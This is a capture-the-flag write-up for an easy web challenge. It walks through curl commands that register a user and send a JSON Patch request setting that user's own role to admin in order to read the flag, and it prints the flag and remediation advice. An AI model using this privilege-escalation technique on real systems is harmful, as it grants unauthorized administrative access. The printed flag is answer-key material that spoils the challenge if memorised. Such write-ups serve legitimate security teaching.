OhMyPatch
Author: 0xIDA
Solvers
Platform: FlagYard · Category: web · Difficulty: easy
Summary
A Flask user-management app exposes a JSON Patch endpoint (PATCH /patch) that applies user-supplied operations to the users list and persists the result. The endpoint is also referenced in the JWT-protected /flag route, which checks the current user's role. By sending a JSON Patch replace operation that flips the current user's role to admin, we bypass the role check and read the flag.
Solution
Step 1: Register and get a JWT
BASE="http://tgvldeleqq-0.playat.flagyard.com"
U="ida$RANDOM"
P="Passw0rd123"
curl -sS -X POST "$BASE/register" -H "Content-Type: application/json" \
-d "{\"name\":\"$U\",\"age\":25,\"password\":\"$P\",\"department\":\"IT\"}" > reg.json
TOK=$(python3 -c 'import json; print(json.load(open("reg.json"))["access_token"])')
The response returns an access token for the newly registered user.
Step 2: Find the current user index
curl -sS "$BASE/users" -H "Authorization: Bearer $TOK" > users.json
python3 -c '
import json
users = json.load(open("users.json"))["users"]
for i, u in enumerate(users):
if u["name"].startswith("ida"):
print(i, u)
'
In the run, the current user was the last entry in the list (index 6).
Step 3: Apply a JSON Patch to escalate to admin
IDX=6
curl -sS -X PATCH "$BASE/patch" -H "Authorization: Bearer $TOK" \
-H "Content-Type: application/json" \
-d "[{\"op\":\"replace\",\"path\":\"/users/$IDX/role\",\"value\":\"admin\"}]"
Response showed the current user's role now set to admin, and the change persisted on a fresh GET /users.
Step 4: Read the flag
curl -sS -H "Authorization: Bearer $TOK" "$BASE/flag" | grep -oE 'FlagY\{[^}]*\}'
Output:
FlagY{2423516b2496f714b50b25a90e2bcbe4}
Remediation
- Validate the
rolefield against a strict allowlist; never let users patch their own role through a generic JSON Patch endpoint. - Scope JSON Patch operations to only the fields and records the authenticated user is authorized to modify.
- Enforce authorization checks on
/flag(and any sensitive route) independently, not only on the client-visible role field.
Flag
FlagY{2423516b2496f714b50b25a90e2bcbe4}